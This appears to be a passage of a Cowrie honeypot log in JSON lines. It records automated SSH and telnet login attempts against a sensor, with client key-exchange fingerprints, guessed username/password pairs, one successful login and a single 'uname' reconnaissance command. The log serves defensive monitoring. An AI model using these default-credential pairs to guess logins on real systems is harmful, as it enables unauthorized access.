{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:42.037740Z","src_ip":"176.65.132.254","session":"631acec85efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:42.288818Z","src_ip":"176.65.132.254","session":"631acec85efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.1738715171814,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:42.524264Z","src_ip":"62.210.97.77","session":"8f2a0d4fa8f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:43.373249Z","src_ip":"176.65.132.254","session":"631acec85efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.35830473899841,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:45.009625Z","src_ip":"62.210.97.77","session":"48de41e3a7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59554,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbfabd3cdac6","protocol":"telnet","message":"New connection: 62.210.97.77:59554 (10.17.0.5:23) [session: bbfabd3cdac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:45.144749Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59562,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a985524297","protocol":"telnet","message":"New connection: 62.210.97.77:59562 (10.17.0.5:23) [session: a9a985524297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:45.400351Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50314,"dst_ip":"10.17.0.5","dst_port":22,"session":"83ec17e2089a","protocol":"ssh","message":"New connection: 176.65.132.254:50314 (10.17.0.5:22) [session: 83ec17e2089a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:45.745240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:45.750313Z","src_ip":"176.65.132.254","session":"83ec17e2089a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:45.842709Z","src_ip":"176.65.132.254","session":"83ec17e2089a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:46.104026Z","src_ip":"176.65.132.254","session":"83ec17e2089a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":60920,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec6dd7be6928","protocol":"ssh","message":"New connection: 103.189.235.176:60920 (159.203.135.109:22) [session: ec6dd7be6928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:46.807687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:46.812523Z","src_ip":"103.189.235.176","session":"ec6dd7be6928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59576,"dst_ip":"10.17.0.5","dst_port":23,"session":"da42dd7b9f6e","protocol":"telnet","message":"New connection: 62.210.97.77:59576 (10.17.0.5:23) [session: da42dd7b9f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:47.015582Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:47.047189Z","src_ip":"103.189.235.176","session":"ec6dd7be6928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:47.188442Z","src_ip":"176.65.132.254","session":"83ec17e2089a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"matt","message":"login attempt [postgres/matt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:47.964926Z","src_ip":"103.189.235.176","session":"ec6dd7be6928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.946378231048584,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:48.461588Z","src_ip":"65.60.27.33","session":"a0188e9211c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51430916786194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:48.600459Z","src_ip":"62.210.97.77","session":"bb7481c46ba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39002,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fc4c01b34c3","protocol":"telnet","message":"New connection: 38.54.119.93:39002 (10.17.0.5:23) [session: 6fc4c01b34c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:48.932014Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:49.199077Z","src_ip":"103.189.235.176","session":"ec6dd7be6928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34362,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4e5e7f1afa8","protocol":"telnet","message":"New connection: 65.60.27.33:34362 (10.17.0.5:23) [session: e4e5e7f1afa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:49.236462Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50320,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bb5125b691d","protocol":"ssh","message":"New connection: 176.65.132.254:50320 (10.17.0.5:22) [session: 4bb5125b691d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:49.587934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:49.592840Z","src_ip":"176.65.132.254","session":"4bb5125b691d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:49.674999Z","src_ip":"176.65.132.254","session":"4bb5125b691d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.52432131767273,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:49.849663Z","src_ip":"62.210.97.77","session":"275b094e42c1","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:49.955637Z","src_ip":"176.65.132.254","session":"4bb5125b691d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:50.191746Z","src_ip":"176.65.132.254","session":"4bb5125b691d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:50.195671Z","src_ip":"176.65.132.254","session":"4bb5125b691d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:50.283154Z","src_ip":"176.65.132.254","session":"4bb5125b691d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:50.288119Z","src_ip":"176.65.132.254","session":"4bb5125b691d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33904,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2c908010db2","protocol":"telnet","message":"New connection: 62.210.97.77:33904 (10.17.0.5:23) [session: f2c908010db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:51.411893Z"}
{"eventid":"cowrie.session.closed","duration":38.88847899436951,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:51.561599Z","src_ip":"65.60.27.33","session":"be5d3bf26691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b31fe987e5","protocol":"telnet","message":"New connection: 62.210.97.77:33916 (10.17.0.5:23) [session: a2b31fe987e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:51.791366Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41156,"dst_ip":"10.17.0.5","dst_port":23,"session":"54716937afbc","protocol":"telnet","message":"New connection: 38.54.119.93:41156 (10.17.0.5:23) [session: 54716937afbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:52.354586Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33918,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a2446e0d50","protocol":"telnet","message":"New connection: 62.210.97.77:33918 (10.17.0.5:23) [session: 27a2446e0d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:52.488431Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33934,"dst_ip":"10.17.0.5","dst_port":23,"session":"40ccbca50b10","protocol":"telnet","message":"New connection: 62.210.97.77:33934 (10.17.0.5:23) [session: 40ccbca50b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:52.852923Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35764,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5924f8901bb","protocol":"telnet","message":"New connection: 65.60.27.33:35764 (10.17.0.5:23) [session: e5924f8901bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:53.214912Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47418,"dst_ip":"159.203.135.109","dst_port":23,"session":"4105dea44195","protocol":"telnet","message":"New connection: 134.209.8.29:47418 (159.203.135.109:23) [session: 4105dea44195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:53.221138Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43998,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea33b4678539","protocol":"ssh","message":"New connection: 176.65.132.254:43998 (10.17.0.5:22) [session: ea33b4678539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:53.539144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:53.544272Z","src_ip":"176.65.132.254","session":"ea33b4678539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33944,"dst_ip":"10.17.0.5","dst_port":23,"session":"bafc1112757a","protocol":"telnet","message":"New connection: 62.210.97.77:33944 (10.17.0.5:23) [session: bafc1112757a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:53.626984Z"}
{"eventid":"cowrie.session.closed","duration":4.3959808349609375,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:53.632308Z","src_ip":"65.60.27.33","session":"e4e5e7f1afa8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:53.637160Z","src_ip":"176.65.132.254","session":"ea33b4678539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:53.882172Z","src_ip":"176.65.132.254","session":"ea33b4678539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.089163780212402,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:54.021073Z","src_ip":"38.54.119.93","session":"6fc4c01b34c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:54.967061Z","src_ip":"176.65.132.254","session":"ea33b4678539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40766,"dst_ip":"10.17.0.5","dst_port":23,"session":"76e430d0fdcf","protocol":"telnet","message":"New connection: 65.60.27.33:40766 (10.17.0.5:23) [session: 76e430d0fdcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:55.706598Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33954,"dst_ip":"10.17.0.5","dst_port":23,"session":"550764b72e55","protocol":"telnet","message":"New connection: 62.210.97.77:33954 (10.17.0.5:23) [session: 550764b72e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:55.743466Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44014,"dst_ip":"10.17.0.5","dst_port":22,"session":"901b682b564d","protocol":"ssh","message":"New connection: 176.65.132.254:44014 (10.17.0.5:22) [session: 901b682b564d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:57.358490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:57.363229Z","src_ip":"176.65.132.254","session":"901b682b564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.76904034614563,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:57.368092Z","src_ip":"65.60.27.33","session":"ccf3439e2bd7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 